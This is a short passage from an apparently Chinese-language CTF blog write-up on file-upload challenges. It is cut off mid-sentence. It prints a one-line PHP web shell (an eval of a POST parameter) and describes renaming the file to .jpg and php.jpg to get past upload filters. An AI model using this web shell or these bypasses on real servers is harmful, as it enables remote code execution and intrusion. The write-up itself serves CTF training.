暑期web10：基础的文件上传upload（i春秋）、上传绕过（实验吧）

介于以前作了个包括文件上传步骤的题，忽然想拿两个以前作过的文件上传题来回顾一下一些基础作法 首先是实验吧的上传绕过 首先咱们上传最基础的一句话木马：<?php @eval($_POST['pass']);?> 反馈是‘不被容许的文件类型,仅支持上传jpg,gif,png后缀的文件’ 因而我把他的后缀改成.jpg再上传，又回显‘必须上传后缀名为php的文件才行’ 作成php.jpg有了新的回显，但彷

>>阅读原文<<